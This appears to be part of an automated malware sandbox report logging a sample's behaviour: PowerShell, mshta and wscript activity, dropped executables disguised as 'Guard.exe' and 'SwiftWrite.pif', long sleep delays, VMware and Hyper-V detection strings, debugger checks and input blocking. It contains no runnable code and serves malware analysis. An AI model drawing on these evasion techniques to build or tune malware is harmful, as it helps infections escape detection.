Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2091	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1184	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5162	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4638	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7399
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2088
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4697
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5036

Source: C:\Windows\System32\mshta.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ghep2[1]

Jump to dropped file

Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\Public\Guard.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_20-99541

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	API coverage: 3.7 %
Source: C:\Users\Public\Guard.exe	API coverage: 4.8 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	API coverage: 4.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3656	Thread sleep count: 2091 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3656	Thread sleep count: 1184 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1672	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6692	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7924	Thread sleep count: 7399 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep count: 2088 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2504	Thread sleep time: -22136092888451448s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00007FF7C0ECC7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EDA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	11_2_00007FF7C0EDA350
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EDA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	11_2_00007FF7C0EDA4F8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED6428 FindFirstFileW,FindNextFileW,FindClose,	11_2_00007FF7C0ED6428
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EDA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_00007FF7C0EDA874
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E92F50 FindFirstFileExW,	11_2_00007FF7C0E92F50
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED71F4 FindFirstFileW,FindClose,	11_2_00007FF7C0ED71F4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_00007FF7C0ED72A8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00007FF7C0ECB7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00007FF7C0ECBC70
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00714005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	20_2_00714005
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071494A GetFileAttributesW,FindFirstFileW,FindClose,	20_2_0071494A
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	20_2_0071C2FF
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071CD14 FindFirstFileW,FindClose,	20_2_0071CD14
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	20_2_0071CD9F
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	20_2_0071F5D8
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	20_2_0071F735
Source: C:\Users\Public\Guard.exe	Code function: 20_2_0071FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	20_2_0071FA36
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00713CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	20_2_00713CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_002F4005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F494A GetFileAttributesW,FindFirstFileW,FindClose,	24_2_002F494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	24_2_002FC2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FCD14 FindFirstFileW,FindClose,	24_2_002FCD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	24_2_002FCD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_002FF5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_002FF735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002FFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	24_2_002FFA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_002F3CE2

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E71D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

11_2_00007FF7C0E71D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000017.00000003.2426956978.0000021B89090000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: powershell.exe, 00000006.00000002.2256965321.000002701E33E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: mshta.exe, 00000004.00000003.2277213025.000001D0EC5A4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280075784.000001D0EC5A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBni
Source: SwiftWrite.pif, 00000018.00000002.3293947279.0000000003F54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~K5
Source: powershell.exe, 00000006.00000002.2256965321.000002701E327000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll6EW
Source: powershell.exe, 00000006.00000002.2256965321.000002701E33E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: powershell.exe, 00000012.00000002.2493771492.00000130F99BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW19%SystemRoot%\system32\mswsock.dllon1)
Source: powershell.exe, 00000012.00000002.2488483129.00000130F985C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\P
Source: Guard.exe, 00000014.00000002.3293628451.000000000382E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: mshta.exe, 00000004.00000002.2280293129.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273283593.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2276856139.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3291656704.000001CFD802B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3291604933.000001CFD8013000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3293466178.000001CFDD653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000017.00000003.2426956978.0000021B89090000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: mshta.exe, 00000004.00000002.2280075784.000001D0EC573000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277213025.000001D0EC570000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EE0A00 BlockInput,

11_2_00007FF7C0EE0A00

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E537B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00007FF7C0E537B0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E75BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

11_2_00007FF7C0E75BC0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E56D64 LoadLibraryA,GetProcAddress,

11_2_00007FF7C0E56D64

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E94318 GetProcessHeap,

11_2_00007FF7C0E94318

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E98FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00007FF7C0E98FE4
